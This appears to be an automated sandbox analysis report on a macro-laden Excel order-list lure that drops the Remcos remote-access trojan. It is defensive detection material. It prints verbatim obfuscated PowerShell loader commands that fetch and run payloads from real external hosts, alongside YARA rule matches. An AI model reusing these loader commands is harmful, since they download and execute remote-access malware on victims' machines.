                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $desprover = 'JGxhc2lhbnRoZXJhID0gJ2h0dHBzOi8vMzAxMi5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9T0YwZ0ZjeE1RQ1V3UFlsZVR5YjJZaDlhQlRwUmw5X0tfTE9vVEtBcks0aXBNckg4TjBqaWJYclBZSm9GdmpxYUs1MHFHdyZ0cmFjaz1rclVOeXdFSiZza2lwcmVnPXRydWUmcGtfdmlkPWE2YTkyNjY0Mzg5MzcxNGUxNzMyNzA4OTE0MWQ5NDMyICc7JGVuZ29tYXIgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRyZXNvID0gJGVuZ29tYXIuRG93bmxvYWREYXRhKCRsYXNpYW50aGVyYSk7JGFmcmFnYXIgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcmVzbyk7JGJ1ZmlkbyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskZXN0ZW5kYXJpYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGFzbmFtZW50byA9ICRhZnJhZ2FyLkluZGV4T2YoJGJ1Zmlkbyk7JHRyaWJ1bCA9ICRhZnJhZ2FyLkluZGV4T2YoJGVzdGVuZGFyaWEpOyRhc25hbWVudG8gLWdlIDAgLWFuZCAkdHJpYnVsIC1ndCAkYXNuYW1lbnRvOyRhc25hbWVudG8gKz0gJGJ1Zmlkby5MZW5ndGg7JHJhbmNhdHJpbGhhID0gJHRyaWJ1bCAtICRhc25hbWVudG87JGx1cmdvID0gJGFmcmFnYXIuU3Vic3RyaW5nKCRhc25hbWVudG8sICRyYW5jYXRyaWxoYSk7JHRhbGlzY2EgPSAtam9pbiAoJGx1cmdvLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRsdXJnby5MZW5ndGgpXTskbHVmYWRhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdGFsaXNjYSk7JGluY29udGFtaW5hZG8gPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRsdWZhZGEpOyRmb2xpZm9ybWUgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskZm9saWZvcm1lLkludm9rZSgkbnVsbCwgQCgndHh0LkZHVlZGR1IvOTA4LzY2MS41NzEuMjMyLjI3MS8vOnB0dGgnLCAnJHN1c3RvJywgJyRzdXN0bycsICckc3VzdG8nLCAnQ2FzUG9sJywgJyRzdXN0bycsICckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCcxJywnJHN1c3RvJykpOw==';$lavajo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($desprover));Invoke-Expression $lavajoJump to behavior
                Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $desprover = 'JGxhc2lhbnRoZXJhID0gJ2h0dHBzOi8vMzAxMi5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9T0YwZ0ZjeE1RQ1V3UFlsZVR5YjJZaDlhQlRwUmw5X0tfTE9vVEtBcks0aXBNckg4TjBqaWJYclBZSm9GdmpxYUs1MHFHdyZ0cmFjaz1rclVOeXdFSiZza2lwcmVnPXRydWUmcGtfdmlkPWE2YTkyNjY0Mzg5MzcxNGUxNzMyNzA4OTE0MWQ5NDMyICc7JGVuZ29tYXIgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRyZXNvID0gJGVuZ29tYXIuRG93bmxvYWREYXRhKCRsYXNpYW50aGVyYSk7JGFmcmFnYXIgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcmVzbyk7JGJ1ZmlkbyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskZXN0ZW5kYXJpYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGFzbmFtZW50byA9ICRhZnJhZ2FyLkluZGV4T2YoJGJ1Zmlkbyk7JHRyaWJ1bCA9ICRhZnJhZ2FyLkluZGV4T2YoJGVzdGVuZGFyaWEpOyRhc25hbWVudG8gLWdlIDAgLWFuZCAkdHJpYnVsIC1ndCAkYXNuYW1lbnRvOyRhc25hbWVudG8gKz0gJGJ1Zmlkby5MZW5ndGg7JHJhbmNhdHJpbGhhID0gJHRyaWJ1bCAtICRhc25hbWVudG87JGx1cmdvID0gJGFmcmFnYXIuU3Vic3RyaW5nKCRhc25hbWVudG8sICRyYW5jYXRyaWxoYSk7JHRhbGlzY2EgPSAtam9pbiAoJGx1cmdvLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRsdXJnby5MZW5ndGgpXTskbHVmYWRhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdGFsaXNjYSk7JGluY29udGFtaW5hZG8gPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRsdWZhZGEpOyRmb2xpZm9ybWUgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskZm9saWZvcm1lLkludm9rZSgkbnVsbCwgQCgndHh0LkZHVlZGR1IvOTA4LzY2MS41NzEuMjMyLjI3MS8vOnB0dGgnLCAnJHN1c3RvJywgJyRzdXN0bycsICckc3VzdG8nLCAnQ2FzUG9sJywgJyRzdXN0bycsICckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCcxJywnJHN1c3RvJykpOw==';$lavajo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($desprover));Invoke-Expression $lavajo
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeMemory allocated: 770B0000 page execute and read and write
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeMemory allocated: 770B0000 page execute and read and write
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeMemory allocated: 770B0000 page execute and read and write
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeMemory allocated: 770B0000 page execute and read and write
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeMemory allocated: 770B0000 page execute and read and write
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,30_2_0040DD85
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00401806 NtdllDefWindowProc_W,30_2_00401806
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_004018C0 NtdllDefWindowProc_W,30_2_004018C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_004016FD NtdllDefWindowProc_A,31_2_004016FD
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_004017B7 NtdllDefWindowProc_A,31_2_004017B7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 32_2_00402CAC NtdllDefWindowProc_A,32_2_00402CAC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 32_2_00402D66 NtdllDefWindowProc_A,32_2_00402D66
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_004158B9 ExitWindowsEx,LoadLibraryA,GetProcAddress,29_2_004158B9
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_000007FE89641C858_2_000007FE89641C85
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_000007FE897134CE8_2_000007FE897134CE
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_000007FE89716FBE8_2_000007FE89716FBE
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0041D07129_2_0041D071
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_004520D229_2_004520D2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0043D09829_2_0043D098
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0043715029_2_00437150
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_004361AA29_2_004361AA
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0042625429_2_00426254
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0043137729_2_00431377
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0043651C29_2_0043651C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0041E5DF29_2_0041E5DF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0044C73929_2_0044C739
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_004367C629_2_004367C6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_004267CB29_2_004267CB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0043C9DD29_2_0043C9DD
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00432A4929_2_00432A49
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00436A8D29_2_00436A8D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0043CC0C29_2_0043CC0C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00436D4829_2_00436D48
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00434D2229_2_00434D22
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00426E7329_2_00426E73
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00440E2029_2_00440E20
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0043CE3B29_2_0043CE3B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00412F4529_2_00412F45
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00452F0029_2_00452F00
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00426FAD29_2_00426FAD
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0044B04030_2_0044B040
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0043610D30_2_0043610D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0044731030_2_00447310
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0044A49030_2_0044A490
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0040755A30_2_0040755A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0043C56030_2_0043C560
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0044B61030_2_0044B610
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0044D6C030_2_0044D6C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_004476F030_2_004476F0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0044B87030_2_0044B870
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0044081D30_2_0044081D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0041495730_2_00414957
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_004079EE30_2_004079EE
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00407AEB30_2_00407AEB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0044AA8030_2_0044AA80
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00412AA930_2_00412AA9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00404B7430_2_00404B74
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00404B0330_2_00404B03
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0044BBD830_2_0044BBD8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00404BE530_2_00404BE5
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00404C7630_2_00404C76
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00415CFE30_2_00415CFE
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00416D7230_2_00416D72
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00446D3030_2_00446D30
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00446D8B30_2_00446D8B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00406E8F30_2_00406E8F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_0040503831_2_00405038
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_0041208C31_2_0041208C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_004050A931_2_004050A9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_0040511A31_2_0040511A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_0043C13A31_2_0043C13A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_004051AB31_2_004051AB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_0044930031_2_00449300
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_0040D32231_2_0040D322
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_0044A4F031_2_0044A4F0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_0043A5AB31_2_0043A5AB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_0041363131_2_00413631
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_0044669031_2_00446690
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_0044A73031_2_0044A730
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_004398D831_2_004398D8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_004498E031_2_004498E0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_0044A88631_2_0044A886
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_0043DA0931_2_0043DA09
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_00438D5E31_2_00438D5E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_00449ED031_2_00449ED0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_0041FE8331_2_0041FE83
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_00430F5431_2_00430F54
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 32_2_004050C232_2_004050C2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 32_2_004014AB32_2_004014AB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 32_2_0040513332_2_00405133
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 32_2_004051A432_2_004051A4
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 32_2_0040124632_2_00401246
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 32_2_0040CA4632_2_0040CA46
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 32_2_0040523532_2_00405235
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 32_2_004032C832_2_004032C8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 32_2_0040168932_2_00401689
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 32_2_00402F6032_2_00402F60
                Source: Sipari#U015f_listesi.xlsOLE indicator, VBA macros: true
                Source: Sipari#U015f_listesi.xlsStream path 'MBD0087384F/\x1Ole' : https://ljg.cl/fWsm?&lynx=wicked&calm=uninterested&venezuelan=tall&alibi=victorious&postage=round&plasterJ^A}Y2vAmm,~QWRd+?Rbd[,;HL#Wj{ciq&3P7memDSPjpzQZ3N2VIxqrJ2b9g8Gvg9JroKqCNGFdexhkW4GXu4Yf060mqqVUKvX9EfkxfubGIiimyI0O4e9X6nR3iG6NPaHzoNZtE6Pf4pmXBPH0uathMO76T0knv18oD3Y5Ot30G5uRDOVNe6ABj8juEqBFyRO1lP44fNZAnET7OxeBmQA6VaUOto2e8vmteHPlDxV4LQVkLPIJ40M6EEEL0x3K60bboe0T7opXXjRuyhPIoS98n1BbyU4f'#ZdR# h`Qq5m
                Source: AD430000.0.drStream path 'MBD0087384F/\x1Ole' : https://ljg.cl/fWsm?&lynx=wicked&calm=uninterested&venezuelan=tall&alibi=victorious&postage=round&plasterJ^A}Y2vAmm,~QWRd+?Rbd[,;HL#Wj{ciq&3P7memDSPjpzQZ3N2VIxqrJ2b9g8Gvg9JroKqCNGFdexhkW4GXu4Yf060mqqVUKvX9EfkxfubGIiimyI0O4e9X6nR3iG6NPaHzoNZtE6Pf4pmXBPH0uathMO76T0knv18oD3Y5Ot30G5uRDOVNe6ABj8juEqBFyRO1lP44fNZAnET7OxeBmQA6VaUOto2e8vmteHPlDxV4LQVkLPIJ40M6EEEL0x3K60bboe0T7opXXjRuyhPIoS98n1BbyU4f'#ZdR# h`Qq5m
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: String function: 004169A7 appears 87 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: String function: 004020E7 appears 39 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: String function: 0044DB70 appears 41 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: String function: 004165FF appears 35 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: String function: 00422297 appears 42 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: String function: 00401F66 appears 50 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: String function: 00444B5A appears 37 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: String function: 004338A5 appears 41 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: String function: 00413025 appears 79 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: String function: 00416760 appears 69 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: String function: 00433FB0 appears 55 times
                Source: C:\Windows\System32\mshta.exeKey opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXEJump to behavior
                Source: C:\Windows\System32\mshta.exeKey opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXEJump to behavior
                Source: 29.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 29.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 29.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                Source: 29.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 29.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 29.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                Source: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                Source: Process Memory Space: powershell.exe PID: 1484, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                Source: Process Memory Space: powershell.exe PID: 2460, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                Source: Process Memory Space: CasPol.exe PID: 3688, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: bhv1B0F.tmp.30.drBinary or memory string: org.slneighbors
                Source: Sipari#U015f_listesi.xls, AD430000.0.drBinary or memory string: .vBP$
                Source: classification engineClassification label: mal100.rans.phis.troj.spyw.expl.evad.winXLS@37/41@18/5
